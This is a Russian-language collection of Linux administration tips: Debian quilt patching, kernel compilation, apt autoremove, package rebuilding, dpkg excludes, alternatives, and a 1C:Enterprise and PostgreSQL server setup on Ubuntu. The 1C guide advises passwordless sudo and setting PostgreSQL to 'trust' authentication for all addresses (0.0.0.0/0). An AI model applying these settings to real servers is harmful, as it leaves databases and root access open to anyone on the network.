    
    
    2.2. Изменяем файлы оригинальной программы, поставляемой в пакете.
    
    При изменении файлов upstream-проекта имеет значение какой из форматов
    задействован в используемом пакете с исходными текстами ("1.0, "3.0 (quilt)"
    или "3.0 (native)", разница сводится к формированию одного большого патча или
    размещении каждого патча в отдельном файле), а также тип системы патчей (можно
    посмотреть запустив what-patch). В данной заметке рассматривается ситуация
    использования рекомендованного формата  "3.0 (quilt)" (рекомендации будут
    работать и для формата "1.0", но для этого нужно настроить ~/.quiltrc в
    соответствии с инструкцией /usr/share/doc/quilt/README.source)
    
    Применяем в коду оригинального проекта все патчи, выполнив:
    
       $ quilt push -a
    
    Если патчей в пакете ещё нет, создаем вручную поддиректорию debian/patches:
    
       $ mkdir debian/patches
    
    
    2.2.1. Импортируем существующий патч.
    
    Если изменения уже оформлены в upstream-проекте в виде патча, то импортировать
    данный патч можно следующим образом:
    
       $ quilt import -P fix-foobar.patch /tmp/patch
       Importing patch /tmp/patch (stored as fix-foobar.patch)
    
       $ quilt push
       Applying patch fix-foobar.patch
       [...]
       Now at patch fix-foobar.patch
    
    Опция "-P" позволяет выбрать на свое усмотрение имя для сохранения патча в
    директории debian/patches/. После выполнения указанных действий патч будет
    добавлен в директорию debian/patches/series, но пока не будет по умолчанию
    применен к коду.
    
    
    2.2.1. Создаем новый патч.
    
    Если изменения еще не оформлены в виде патча, нужно указать quilt о
    необходимости создать новый патч:
    
       $ quilt new fix-foobar.patch
       Patch fix-foobar.patch is now on top
    
    Далее указываем все файлы, которые будут изменены в результате нашей
    деятельности. Для каждого изменяемого файла запускаем "quilt add", после чего
    quilt создаст для каждого из этих файлов резервную копию, на основе оценки
    изменений с которой в последствии будет сгенерирован патч. Теперь правим любым
    удобным способом нужные файлы. Если файлы планируется отредактировать вручную,
    вместо "quilt add" можно запустить "quilt edit".
    
       $ quilt edit foobar.c
       File foobar.c added to patch fix-foobar.patch
    
    После того как все изменения внесены, генерируем патч:
    
       $ quilt refresh
       Refreshed patch fix-foobar.patch
    
    3. Тестируем внесенные изменения
    
    Собираем измененный пакет:
    
       $ debuild -us -uc
    
    проверяем его работоспособность, установив в систему через dpkg или debi.
    
    4. Генерируем патч для отправки мейнтейнеру.
    
    
    После выполнения всех ранее указанных шагов в директории должно находиться два
    .dsc-файла, изначальный и новый, например:
    
       $ cd ..
       $ ls wordpress_*.dsc
       ../wordpress_3.0.5+dfsg-1.1.dsc
       ../wordpress_3.0.5+dfsg-1.dsc
    
    Сгенерировать патч для отправки мейнтейнеру можно командой debdiff:
    
       $ debdiff wordpress_3.0.5+dfsg-1.dsc wordpress_3.0.5+dfsg-1.1.dsc >/tmp/wp-debdiff
    
    Для отправки патча /tmp/wp-debdiff мейнтейнеру можно использовать утилиту
    bugreport, указав в роли тега "patch". Для автоматизации отправки можно
    использовать утилиту nmudiff.
    
    
    Если работа осуществлялась с копией из системы управления исходными текстами
    (выполняли debcheckout), то вместо debdiff можно сгенерировать diff-файл
    встроенными средствами используемой системы контроля версий (git diff, svn diff
    и т.п). В случае использования распределенной системы контроля версий (git,
    bzr, mercurial) возможно следует оформить все модификации в виде отдельного
    набора изменений. Вместо отправки одного патча, возможно потребуется отправить
    серию патчей или отправить URL на изменений в публичном репозитории.
    
     
    ----* Компиляция Linux-ядра под заданный процессор в Debian/Ubuntu (доп. ссылка 1)   Автор: andrewlap  [комментарии]
     
    Пример компиляции ядра в таких  дистрибутивах как Debian и Ubuntu с целью
    задействования всех возможных оптимизаций для текущего процессора (core-duo).
    Все произведённые действия подойдут для ubuntu 9.10 - 10.10
    
    Для начала загрузим исходные тексты ядра и заголовочные файлы:
    
       sudo aptitude install linux-source-2.6 linux-headers
    
    Установим утилиты для компиляции ядра
    
       sudo aptitude install build-essential kernel-package libncurses-dev
    
    Полученное ядро нужно распаковать:
    
       cd /usr/src/
       sudo tar -xjf linux-source-*
    
    Все операции с ядром производятся в корне директории с исходными текстами ядра,
    поэтому недолго думая переходим туда:
    
       cd /usr/src/linux-source-*
    
    Создадим файл конфигурации текущего ядра командой
    
       sudo make oldconfig
    
    Эта команда создаст файл .config, где будут указаны опции ядра, используемого в
    данной системе. Эти настройки будут основой для наших настроек. Приступим к
    конфигурации ядра:
    
       sudo make menuconfig
    
    
    С помощью этой утилиты указываем необходимые нам опции. 
    Обращаю ваше внимание на следующую опцию:
    
       Processor type and features  ---> Processor family
    
    Здесь выбираем свой процессор. Остальные опции, которые мы взяли из ядра
    идущего с дистрибутивом вполне работоспособны для большинства применений,
    поэтому изменяйте их по своему усмотрению, или оставляйте как есть.
    
    Далее, выполним команду, которая удалит файлы (если они имеются), оставшиеся от
    предыдущей компиляции:
    
       sudo make-kpkg clean
    
    Далее компилируем ядро командой:
    
       sudo nice -n 19 make-kpkg --initrd --append-to-version=-mykernel kernel_image kernel_headers
    
    "nice -n 19" понизит приоритет компиляции на 19 пунктов
    Ключ "-append-to-version" используется, чтобы добавить к имени файла образа
    ядра, который мы получим после компиляции, строку "-mykernel", чтобы было проще
    идентифицировать свое ядро.
    
    И, через несколько минут/часов или может у кого то и дней, мы получим
    оптимизированное для нашей архитектуры ядро. На Celeron 3.06GHz это заняло два
    с половиной часа.
    
    Если всё пройдёт удачно, в итоге в /usr/src/  получим два deb-пакета
    linux-headers-*.deb и linux-image-*.deb, которые следует установить в систему:
    
       sudo dpkg -i linux-headers-*.deb linux-image-*.deb
    
    Установщик также обновит конфигурацию grub и поставит новое ядро во главе
    списка. Теперь можно перезагрузить в систему с новым ядром!
    
    
    
    Дополнение от pavlinux:
    
    При необходимости можно внести изменения в используемые опции компиляции для
    gcc c оптимизацией под нужный процессор. Опции задаются через переменные
    окружения HOSTCFLAGS и KBUILD_CFLAGS, например:
    
    
       export HOSTCFLAGS="-O99 -mtune=native -funroll-all-loops"
       export KBUILD_CFLAGS="-O99 -mtune=native -funroll-all-loops"
    
    или могут быть заданы в основном Makefile через переменные "HOSTCFLAGS" и
    "HOSTCXXFLAGS". В этих настройках нельзя указывать флаги оптимизации под
    конкретный процессор, можно использовать отлько общие параметры оптимизации,
    такие как  -06/-O99, -frecord-gcc-switches, -g0 -funroll-all-loops,
    -ftree-vectorize, -fno-inline-functions-called-once, -fmerge-all-constants и
    так далее.
    
    Для тонкой оптимизации под конкретный процессор нужно менять параметры в
    arch/x86/Makefile (под 32 бита в arch/x86/Makefile_32.cpu)
    там следует найти свой процессор, после строки "export BITS" есть тройка ifeq-else-endif
    
    Дописывать можно к последнему KBUILD_CFLAGS. Тут можно всё, кроме
    FPU/SSE/MMX/3DNOW, "-mcmodel=kernel" менять нельзя.
    
     
    ----* Удаление ненужных автоматически установленных пакетов в Debian и Ubuntu (доп. ссылка 1)   [комментарии]
     
    В процессе установки пакета, вместе с ним часто устанавливается и несколько
    зависимостей. Если после экспериментов данный пакет будет удален через команду
    "apt-get/aptitude remove" или через GUI-интерфейс, то дополнительно
    установленные зависимости останутся в системе, несмотря на то, что вызвавший их
    установку пакет уже удален и зависимости больше не используются. Для чистки
    подобных зависимостей удобно использовать команду "apt-get autoremove".
    
    Рассмотрим процесс чистки на примере.
    
       $ sudo apt-get install pino
    
       ...
       The following NEW packages will be installed:
         libdbusmenu-glib1 libgee2 libindicate4 libnotify1 notification-daemon pino
       ...
    
    Как видимо вместе с пакетом pino в систему будет установлено 4 новые библиотеки
    и демон нотификации. Всем этим пакетам будет присвоен флаг автоматической
    установки "automatically installed"
    
    Например:
    
       $ aptitude show libdbusmenu-glib1
    
       Package: libdbusmenu-glib1
       New: yes
       State: installed
       Automatically installed: yes
       Version: 0.3.7-1
       ...
    
    Посмотреть все автоматически установленные пакеты можно командой:
    
       $ apt-mark showauto 
    
    
    После удаления пакета pino через apt-get или synaptic все ранее установленные с
    ним дополнительные пакеты останутся в системе (aptitude удалит лишние
    зависимости при следующем запуске).
    
       $ sudo apt-get remove pino
       ...
       The following packages were automatically installed and are no longer required:
       notification-daemon libdbusmenu-glib1 libnotify1 libgee2 libindicate4
       Use 'apt-get autoremove' to remove them.
    
    Для оценки более не используемых зависимостей и удаления тех, что имеют метку
    автоматической установки можно использовать команду:
    
       $ sudo apt-get autoremove
    
       The following packages will be REMOVED:
       libdbusmenu-glib1 libgee2 libindicate4 libnotify1 notification-daemon
       0 upgraded, 0 newly installed, 5 to remove and 219 not upgraded.
       After this operation, 1307 kB disk space will be freed.
    
    
    Функцию удаления группы автоматически установленных пакетов можно использовать
    и при выполнении ручной чистки системы, для чего нужно вручную пометить
    ненужные пакеты, которые потом будут удалены при выполнении "apt-get
    autoremove", если они не присутствуют в списке зависимостей других пакетов. Это
    существенно снизит риск удаления нужного пакета по ошибке.
    
    Например, помечаем вручную библиотеку libxml-simple-perl:
    
       $ sudo apt-mark markauto libxml-simple-perl
    
    или
    
       $ sudo aptitude markauto libxml-simple-perl
    
    
    Тем не менее при маркировке нужно быть осторожным и не помечать первичные
    пакеты. Например, пометив пакет gnome и выполнив "apt-get autoremove" будет
    удалены все связанные с GNOME пакеты.
    
    Отменить пометку можно командой unmarkauto:
    
       $ sudo apt-mark unmarkauto gnome-session gnome-panel
    
     
    ----* Пересборка пакетов в Debian GNU/Linux (доп. ссылка 1)   [комментарии]
     
    Иногда в Debian Stable нужно установить более новую версию пакета из Testing,
    который не был перенесен в backports.
    
    
    1. Загрузка пакета с исходными текстами
    
    Проверяем чтобы в /etc/apt/sources.list были активированы репозитории deb-src:
    
       deb-src http://ftp.debian.org/debian unstable main contrib non-free
       deb-src http://ftp.debian.org/debian testing main contrib non-free
       deb-src http://ftp.debian.org/debian stable main contrib non-free
    
    Для загрузки самых свежих исходных текстов пакета "publican" следует выполнить
    
       sudo apt-get update 
       apt-get source publican
    
    Если необходимо установить исходные тексты пакета из определенной ветки
    дистрибутива, например, Debian Testing, что является разумным компромиссом
    между свежестью и стабильностью:
    
       apt-get source publican/testing
    
    Исходные тексты будут сохранены в текущую директорию:
    
       ls -dF publican*
    
       publican-2.1/                 publican_2.1-2.dsc
       publican_2.1-2.debian.tar.gz  publican_2.1.orig.tar.gz
    
    В случае, когда пакет отсутствует в репозиториях, загрузить пакет можно командой:
    
       dget -u dsc-url
    
    где dsc-url представляет собой URL к .dsc-файлу с описанием параметров пакета,
    опция "-u" указывает на отмену стадии проверки валидности пакета. Для получения
    утилиты dget нужно установить пакет.
    
    
    2. Установка зависимостей
    
    Для установки пакетов, необходимых для сборки заданной программы,  следует
    использовать команду "apt-get build-dep пакет", например:
    
       apt-get build-dep publican/testing
    
    Если пакет взят не из репозитория, то для выполнения аналогичного действия в
    директории с исходными текстами пакета нужно выполнить команду:
    
       dpkg-checkbuilddeps
    
    которая выведет список задействованных при сборке пакетов, которые затем нужно
    установить через "apt-get install".
    
    3. Изменение исходных текстов перед сборкой
    
    При необходимости код собираемой программы можно модифицировать, например,
    приложить дополнительный патч или отредактировать debian/rules. При внесении
    изменений во избежание конфликтов рекомендуется изменить номер версии,
    используя команду dch из пакета devscripts:
    
       dch --local имя
    
    где "имя" является коротким именем, идентифицирующим вносящего изменение. После
    выполнения команды будет предложено указать комментарий для помещения в debian/changelog.
    
    4. Сборка пакета
    
    Для сборки в директории с распакованным кодом выполняем команду debuild из пакета devscripts.
    
       cd publican-2.1
       debuild -us -uc
    
    где опции "-us -uc" указывают пропустить связанный с проверкой сигнатур шаг, в
    случае если у сборщика отсутствует валидный GPG-ключ, совпадающий с данными
    вначале файла changelog.
    
    После завершения сборки в предыдущей директории можно будет найти бинарный пакет:
    
       cd ..
       ls -dF publican*
    
       publican-2.1/                    publican_2.1-2rh1.dsc
       publican_2.1-2.debian.tar.gz     publican_2.1-2rh1_i386.changes
       publican_2.1-2.dsc               publican_2.1-2rh1_source.changes
       publican_2.1-2rh1_all.deb        publican_2.1.orig.tar.gz
       publican_2.1-2rh1.debian.tar.gz
    
     
    ----* Экономия дискового пространства путем исключения маловажных файлов через dpkg (доп. ссылка 1)   [комментарии]
     
    В составе большинства deb-пакетов содержатся данные, которые никогда не
    понадобятся пользователю, например, файлы с переводами элементов интерфейса на
    другие языки или документация. Начиная с версии 1.15.8 в dpkg появилась
    возможность не устанавливать лишние данные.
    
    Для контроля за тем, какую информацию установить, а какую нет, предусмотрены
    две опции: --path-include=маска и --path-exclude=маска. В качестве маски могут
    быть использованы любые glob-выражения, допустимые в shell (man glob).
    
    Так как обычно для установки используются высокоуровневые утилиты, подобные
    apt, вызывать dpkg вручную и задавать дополнительные опции не совсем удобно.
    Поэтому логичнее изменить методику вызова dpkg в системе, создав
    соответствующую инструкцию в каталоге /etc/dpkg/dpkg.cfg.d/.
    
    Например, создадим файл etc/dpkg/dpkg.cfg.d/excludes, в котором зададим маски
    для включаемых и исключаемых каталогов, на примере ограничения установки
    локалей и системных руководств:
    
       # Не устанавливаем локали за исключением русских:
       path-exclude=/usr/share/locale/*
       path-include=/usr/share/locale/ru/*
       path-include=/usr/share/locale/locale.alias
    
       # Не устанавливаем переводы системных руководств, за исключением перевода на русский язык
       path-exclude=/usr/share/man/*
       path-include=/usr/share/man/man[1-9]/*
       path-include=/usr/share/man/ru*/*
    
    Следует иметь в виду, что все ранее установленные части пакета, подпадающие под
    маску исключения, будут удалены только после обновления пакета. Т.е. если
    необходимо освободить место немедленно, не дожидаясь появления обновлений,
    можно инициировать переустановку всех пакетов в системе:
    
       aptitude reinstall
    или
       apt-get --reinstall install
    
     
    ----* Настройка альтернатив в Debian на примере смены браузера по-умолчанию в GNOME (доп. ссылка 1)   Автор: Сергей Афонькин  [комментарии]
     
    В GNOME браузером по-умолчанию является Epiphany и если открывать html-файлы с
    диска, то они откроются в Epiphany. Для того, чтобы файлы открывались в
    Iceweasel (Firefox) достаточно в командной строке выполнить:
    
        sudo update-alternatives --config gnome-www-browser
    
            1  /usr/bin/iceweasel
         *  2  /usr/bin/epiphany-gecko
            3  /usr/bin/konqueror
            4  /usr/bin/midori
            5  /usr/bin/opera
            6  /usr/bin/google-chrome
    
    
    Отобразились 2 альтернативы, выступающие в роли "gnome-www-browser".
    Нажмите enter, чтобы сохранить значение по умолчанию "*", или введите выбранное
    число: вводим цифру 1 и нажимаем Enter.
    
    Можно также задать браузер для X-ов, следующей командой:
    
        sudo update-alternatives --config x-www-browser
    
    Другие полезные альтернативы (полный список можно посмотреть в директории /etc/alternatives/):
    
       update-alternatives --list java
       update-alternatives --list editor
       update-alternatives --list pager
       update-alternatives --list ftp
    
    
    Для установки альтернативы для определенной группы можно использовать такую команду:
    
       update-alternatives --set editor /usr/bin/emacs
    
    в данном случае устанавливаем в качестве текстового редактора по умолчанию emacs
    
    
    Для добавления собственной альтернативы можно использовать команду:
    
       update-alternatives --install /usr/bin/vi2 editor /usr/local/bin/vim2 50
    
    где, имя итогового альтернативного файла /usr/bin/vi2, editor - имя группы,
    /usr/local/bin/vim2 - путь к добавляемой в число альтернатив программе, 50 - приоритет.
    
    Для удаления:
    
      update-alternatives --remove editor /usr/bin/vi2
    
     
    ----* Обновление Fedora/RHEL/Suse/Mandriva без обновления ядер   Автор: Artem Tashkinov  [комментарии]
     
    Очень многие пользователи и системные администраторы используют дистрибутивы
    Fedora/RHEL/Suse/Mandriva с ядром собственной сборки и поэтому обновление или
    установка ядра от вендора не является желанным.
    
    Избежать установки ядер при обновлении можно следующим образом. Создайте файл
    kernel.spec, определяющий пакет с заведомо более новой фиктивной версией ядра,
    (данный вариант на 100% работает только на Fedora/RHEL) со следующим содержимым:
    
       Name:           kernel
       Summary:        The Linux kernel
       Version:        2.6.100
       Release:        1
       License:        GPLv2+
       Group:          System Environment/Kernel
       URL:            http://www.kernel.org/
       Packager:       Artem S. Tashkinov
    
       %description
       The kernel package contains the Linux kernel (vmlinuz), the core of any
       Linux operating system.  The kernel handles the basic functions
       of the operating system: memory allocation, process allocation, device
       input and output, etc.
    
       %prep
    
       %build
    
       %install
    
       %clean
    
       %files
    
       %changelog
       * Thu Jul 8 2010 Artem S. Tashkinov <birdie@permonline.ru> 2.6.100
       - First indefinite release (unless kernel developers
      change kernel versioning)
    
    Затем соберите и установите его с помощью следующих команд:
    
       $ rpm -ba kernel.spec
       $ rpm -ivh ~/rpmbuild/RPMS/`rpm --eval '%_target_cpu'`/kernel-2.6.100-1.i686.rpm
    
     
    ----* Установка сервера для 1С:Предприятия 8 и PostgreSQL 8.4 на Ubuntu 10.04 LTS   Автор: Игорь Вершинин  [комментарии]
     
    Задача, казалось, несложной - необходимо установить выделенный сервер на новой
    версии Ubuntu, самостоятельно скомпилировать PostgreSQL из исходников,
    установить далее две версии серверной части 1С:Предприятия 8.1 и 8.2. Но, при
    решении задачи всплыло много нюансов.
    
    Брать готовый бинарник от EterSoft'а оказалось неверным - общая компиляция под
    Mandriva, затем препарирование полученного через alien. Нарушается логика
    расположения файлов конфигурации и библиотек в Ubuntu, плюс отставание от
    текущего положения дел (уже вышла версия 8.4.4 PostgreSQL, а на ftp.etersoft.ru
    лежит лишь 8.4.2). Я понимаю, что лучшее враг хорошего, но хочется самому
    делать выводы, что лучшее, и что хорошее. Поэтому принято решение
    самостоятельно собрать PostgreSQL с необходимыми патчами.
    
    Серверные части 1С:Предприятия также написаны в расчете на некий
    средне-универсальный дистрибутив Linux, но тут хотя бы честно. Все ставится в
    /opt, конфигурационные файлы прописываются в /etc/init.d и домашней директории
    пользователя usr1cv82(1). Да и изменить мы ничего не можем - доступа к
    исходникам нет.
    
    Итак. Собираем сам сервер. Корпус, материнская плата, процессор, планки памяти,
    два одинаковых жестких диска... Я собрал программный RAID1 (зеркало) для
    надежности хранения (все-таки собирается для "продакшн"), но это совершенно не
    обязательно. Что обязательно - установка 64-битной версии, объем оперативной
    памяти для любой СУБД критичен (а 32-битные версии ограничены 4 гигабайтами),
    благо это сейчас совершенно недорого. Я установил 8 гигабайт. В общем,
    выбирайте сами. Привод оптических дисков в сервер ставить смысла нет никакого,
    загрузку можно провести через USB flash, а на будущее выделенному серверу
    привод совершенно ни к чему - все необходимое докачивается из репозитариев или
    копируется через утилиту scp.
    
    Скачиваем образ сервера с http://www.ubuntu.com, там же подробнейшая инструкция
    как сделать загружаемую USB flash из-под любой операционной системы.
    Загружаемся, инсталлируем. Несколько обязательный комментариев. В принципе,
    ничего сложного в процессе инсталляции нет, все подробно расписано. Но!
    
    * Выбираем обязательно русский язык, чтобы сервер автоматически настроился на
    использование русской локали (принципиально для первоначального запуска
    патченной версии PostgreSQL, да и системные сообщения на русском не лишние)
    
    * Обязательное подключение к Интернету. По ходу дела, программа инсталляции
    несколько раз докачивает недостающие пакеты, плюс нам нужен доступ к
    репозитариям для дальнейшей работы.
    
    * В момент попытки получения ip-адреса по dhcp процедуру лучше прервать
    (особенно если в это время в сети работает dhcp-сервер) или на следующем экране
    выбрать "Возврат". Все-таки сервер, должен иметь фиксированный адрес и имя.
    Задаем его самостоятельно.
    
    * Из предлагаемого дополнительного софта ставим лишь OpenSSH, остальное после и самостоятельно.
    
    После инсталляции перезагрузка, вытаскиваем "флэшку" (она больше не нужна), не
    забываем в BIOS'е установить AHCI - жесткие диски работают быстрее.
    
    После новой установки первым делом:
    
      sudo apt-get install mc
    
    Надо как-то работать в консоли. Затем:
    
      sudo visudo (или воспользуемся редактором из mc)
    
    Добавляем директиву NOPASSWD:ALL для группы %admin, приведя последнюю строку к виду:
    
      %admin ALL=(ALL) NOPASSWD:ALL
    
    Это нам необходимо, чтобы каждый раз не вводить свой пароль для sudo. Так как к
    консоли сервера кроме администратора никто доступ не имеет (теоретически), то и
    безопасность это не нарушает. Правилом хорошего тона считается разлогинится
    после работы. А доступ к консоли без знания пароля получить нельзя, так что
    если кто и узнает ваш пароль, то и команду sudo выполнит легко. Таким образом,
    ничего кроме дополнительной потери времени и нервов постоянное парольное
    подтверждение не дает.
    
    Обновляем установку:
    
       apt-get update
       apt-get upgrade
    
    Перезагружаемся, потому как ядро обновится на более свежее.
    Устанавливаем NTP-сервер. Время на всех серверах должно быть синхронизировано,
    иначе в логах потом не разберешься.
    
       apt-get install ntp
    
    В /etc/ntp.conf исправляем строку "server ntp.ubuntu.com" на вашу. Если в
    локальной сети есть уже работающий сервер времени (у нас это сервер, отвечающий
    за proxy), то укажите его адрес. Через некоторое время сервер синхронизирует
    время. Если нет, оставьте, пусть компании Canonical будет приятно.
    
    Подготовительные работы окончены. Приступаем к сборке. Скачиваем с
    http://v8.1c.ru/overview/postgres_patches_notes.htm три патча:
       1c_FULL_84-0.19.2.patch
       postgresql-1c-8.4.patch
       applock-1c-8.4.1.patch
    
    Пусть вас не смущает то, что патчи для версии 8.4.1 - они отлично становятся и
    на более старшие версии PostgreSQL (в рамках версии 8.4). Все минорные
    исправления не затрагивают того, что патчит фирма "1С".
    
    На сервере в домашнем каталоге пользователя-администратора создаем директорию
    "1С". Копируем в нее любым удобным для нас способом (я использовал scp со своей
    рабочей станции, можно перекинуть через собственный ftp или через "флэшку") эти
    три патча. Переименовываем их, добавляя перед названием "20-",
    "21-" и "22-", т. е. приводим их к виду:
    20-1c_FULL_84-0.19.2.patch, 21-postgresql-1c-8.4.patch, 22-applock-1c-8.4.1.patch
    
    Переходим в директорию "1С" и скачиваем туда исходники PostgreSQL:
    
       apt-get source postgresql
    
    После скачивания архивы автоматически распакуются, будут наложены специфичные
    для Ubuntu патчи (что очень хорошо, так как итоговая сборка будет "родной").
    Входим в этот каталог. Затем копируем наши патчи в каталог "/debian/patches/".
    Далее нам предстоит исправить три файла, ответственных за правильную сборку
    пакета. Все три файла содержаться в каталоге "debian".
    
    Файл "changelog". Отвечает за правильное наименование пакетов после сборки.
    Добавляем туда следующие строки в начало файла любым текстовым редактором
    (например, через mc):
    
      postgresql-8.4 (18.4.4-ailant-0ubuntu10.04) lucid; urgency=low
      * Apply 1C patch for PostgreSQL (from 8.4.1 version)
        - add mchar, fulleq, fasttrun
      -- Igor Vershinin <ivershinin@ailant.com.ru>  Fri, 04 Jun 2010 00:53:03 +0400
    
    Версию устанавливаем как 18.4.4, чтобы в дальнейшем она самостоятельно не
    обновилась при апдейте системы. Если будут наши исправления, то всегда возможно
    скачать новые исходники и повторить с ними операцию, описанную в этой статье,
    увеличив номер сборки (например,  18.4.4-ailant-1ubuntu10.04).
    
    Следующий файл "control". Необходимо добавить зависимость от библиотеки
    "libicu42" (требуется для патча от "1С"). В секции "Build-Depends" (в начале
    файла) в конце списка добавляем ", libicu-dev".
    Целиком строка будет выглядеть вот так:
    
       bison, flex, docbook-utils, openjade, docbook, libicu-dev
    
    И последний файл "postgresql-contrib-8.4.install". В него необходимо добавить
    строки с именами 1С-овских модулей: mchar, fulleq и fasttrun. После строк:
    
      usr/lib/postgresql/8.4/lib/pg_stat_statements.so
      usr/lib/postgresql/8.4/lib/citext.so
      usr/lib/postgresql/8.4/lib/btree_gin.so
    
    надо добавить:
    
      usr/lib/postgresql/8.4/lib/mchar.so
      usr/lib/postgresql/8.4/lib/fulleq.so
      usr/lib/postgresql/8.4/lib/fasttrun.so
    
    На этом операцию по адаптации можно считать законченной. У нас получился
    правильно "патченный", родной для операционной системы исходник. Аналогично
    можно подготовить версию для любой debian-совместимой ОС.
    
    К сожалению, исправления трех файлов (кроме последнего) нельзя сделать через
    patch-файл в автоматическом режиме. Патчи применяются уже после того, как
    скачиваются зависимости и определяется имя пакета.
    
    Готовые патчи и исправленные файлы можно взять также на нашем ftp-сайте
    ftp://ftp.ailant.com.ru/pub/soft/postgresql-8.4.4-1C-ubuntu/ . Там же в
    каталоге bin лежит собранный пакет PostgreSQL для Ubuntu 10.04 (x86_64). Это
    если кому не хочется самостоятельно собирать.
    
    Компиляция может пройти двумя способами. Оба несложных. В первом случае идем "в
    лоб" и компилируем в рабочей системе, но куча зависимостей будет загружена, что
    не есть хорошо, для "продакш"-системы. Поэтому воспользуемся пакетом
    "pbuilder". В этом случае компиляция будет проходить в специально созданном
    chroot-окружении, и все изменения будут проходить в нем, не трогая рабочую
    систему. Более подробно об этом можно почитать в https://wiki.ubuntu.com/PbuilderHowto
    
       apt-get install pbuilder cdbs
    
    Все, что ему необходимо, он сам вытянет по зависимостям. Второй пакет необходим
    для компиляции. Далее:
    
       pbuilder create
    
    Создаем специальное окружение для компиляции. В этот момент много скачивается
    из репозиториев. У меня с первого раза почему-то не сработало, был сбой и
    pbuilder закончил работу с ошибкой. Я не стал разбираться отчего это произошло,
    просто повторно выполнил команду создания.
    
    В дальнейшем рекомендуется перед сборкой давать команду:
    
       pbuilder update
    
    для обновления окружения новыми пакетами.
    
    Переходим в каталог исходников и
    
       pdebuild
    
    Сборка началась. В первый раз по зависимостям будет вытянуто около 500
    мегабайт, надо быть к этому готовым. Либо собирать на unlim-канале (дома,
    например). В дальнейшем пакеты кешируются. У нас используется пакет apt-proxy,
    который также умеет это делать. Для предприятий, где работает не один сервер,
    очень рекомендую.
    
    Сборка проходит ровно и спокойно. По окончанию в каталоге
    "/var/cache/pbuilder/result" будут лежать собранные пакеты.
    
    Продолжаем. Необходимо установить несколько пакетов для поддержки работы PostgreSQL:
    
      apt-get install postgresql-common postgresql-client-common libicu42 libossp-uuid16
    
    Затем, собственно, ставим свежесобранный PostgreSQL:
    
      dpkg -i libpq5_18.4.4-ailant-0ubuntu10.04_amd64.deb
      dpkg -i libpgtypes3_18.4.4-ailant-0ubuntu10.04_amd64.deb
      dpkg -i postgresql-client-8.4_18.4.4-ailant-0ubuntu10.04_amd64.deb
      dpkg -i postgresql-8.4_18.4.4-ailant-0ubuntu10.04_amd64.deb
      dpkg -i postgresql-contrib-8.4_18.4.4-ailant-0ubuntu10.04_amd64.deb
    
    Остальные пакеты не нужны для работы "1С:Предприятия 8". В этот момент сервер
    СУБД будет запущен, также будет проведена первичная инициализация базы данных.
    Осталось сделать несколько штрихов.
    Проверим, чтобы PostgreSQL всегда запускался после перезагрузки:
    
      update-rc.d postgresql-8.4 defaults
    
    Сделаем два симлинка, без которых "1С:Предприятие" не сможет работать с СУБД:
    
       ln -s /usr/lib/locale/en_US.utf8 /usr/lib/locale/en_US
       ln -s /usr/share/locale/en /usr/share/locale/en_US
    
    Временно (правда, у меня осталось на постоянно) исправим правила доступа к
    СУБД. В конфигурационном файле "/etc/postgresql/8.4/main/pg_hba.conf" исправим
    в строке "host all all 0.0.0.0/0" md5 на trust. На момент начальной отладки так
    гораздо проще, в дальнейшем (после запуска всей системы) выбирайте сами уровень
    собственной защиты.
    
    Все PostgreSQL собран и запущен. Устанавливаем "1С:Предприятие". Так как в
    настоящее время версия 8.2 является основной, то начнем с нее. После установим
    версию 8.1 для поддержки старых конфигураций (которые еще не перевели на новую платформу).
    
    Переписываем с диска ИТС (скачиваем с сайта 1С) последнюю версию (на момент
    написания статьи это 8.2.11.229) для архитектуры debian x86_64 (ведь именно
    этот сервер мы ставили). Копируем на нашем сервере в папку "1С" в
    домашней директории. Последовательно запускаем:
    
       dpkg -i 1c-enterprise82-common_8.2.11-229_amd64.deb
       dpkg -i 1c-enterprise82-server_8.2.11-229_amd64.deb
    
    В принципе, достаточно. Пакеты "-nls" - это языковая поддержка. Нам она не
    нужна, русский язык есть в основной поставке. Пакет "-ws" - это веб-сервисы.
    Если нужны, то поставьте. Мне пока без надобности.
    После инсталляции надо проверить наличие пользователя user1cv82 в файле
    /etc/passwd и его домашнего каталога в /home. Именно в нем и будут храниться
    специфические параметры запуска сервера. Дальше необходимо доставить несколько пакетов:
    
       apt-get install imagemagick msttfcorefonts libgsf-1-114 texlive-binaries 
    
    Проверяем все ли библиотеки установлены:
    
       /opt/1c/v8.2/x86_64/utils/config_server
    
    Утилита должна отработать без сообщений. Если написала, что что-то не
    установлено, надо доставить. Обычно она указывает не на название пакетов, а на
    недостающие файлы. Узнать в каком они пакете можно через "apt-file search".
    
    Делаем возможность запуска после перезагрузки и запускаем:
    
       update-rc.d srv1cv82 defaults
       invoke-rc.d srv1cv82 start
    
    Должно быть "ОК". Если нет, то скорее всего необходимые порты уже заняты. Надо
    проверить чем. Дальше проверяем, что все процессы запущены нормально:
    
       ps aux | grep 1c
    
    От имени пользователя "usr1cv82" должно быть запущено три процесса: ragent,
    rmngr и rphost. После имен процессов идут номера портов, на которых они
    работают. Если процесса не три, а один (такое почему-то иногда бывает, но
    только при первоначальном запуске), то делаем:
    
       invoke-rc.d srv1cv82 stop
    
    Удаляем каталог ".1cv82" в домашней директории пользователя usr1cv82. И
    перезапускаем сервер заново. Должно стать все нормально.
    Аналогично устанавливаем и сервер "1С:Предприятия 8.1". Но с небольшими
    изменениями. Во-первых, из-за ошибки скрипта домашний каталог пользователя
    "usr1cv81" будет установлен неверно, необходимо исправить его, отредактировав
    "/etc/passwd" и исправив путь на "/home/usr1cv81", по аналогии с пользователем
    "usr1cv82". Затем создать собственно сам каталог в директории "home" и
    установить на него владельца "usr1cv81" и группу "grp1cv81". Во-вторых,
    необходимо исправить порты, на которых будет работать сервер. Редактируем
    "/etc/init.d/srv1cv81", убирая комментарии со строк и добавляя номера:
    
       SRV1CV8_PORT=11540
       SRV1CV8_REGPORT=11541
       SRV1CV8_RANGE=11560:11691
    
    т. е. мы использовали порты на 10000 больше, чем порты по умолчанию. Дальше
    запускаем сервер, проверяем, если надо удаляем директорию ".1cv81" в домашнем
    каталоге пользователя usr1cv81.
    
    Потом тестовая перезагрузка. Готово. На выделенном сервере работает
    самостоятельно собранная версия PostgreSQL, а также два сервера
    "1С:Предприятия" версий 8.1 и 8.2.
    
    Работоспособность проверяется с любой windows-машины, подключением консоли
    серверов "1С:Предприятия" к нашему серверу на заданный порт (1540 или 11540).
    
    Кстати, при использовании в конфигурациях "1С:Предприятия 8" управляемых
    блокировок, скорость работы СУБД PostgreSQL в ряде случаев бывает даже выше,
    чем у MS SQL (под которую изначально и был заточен 1С). Но это все относится к
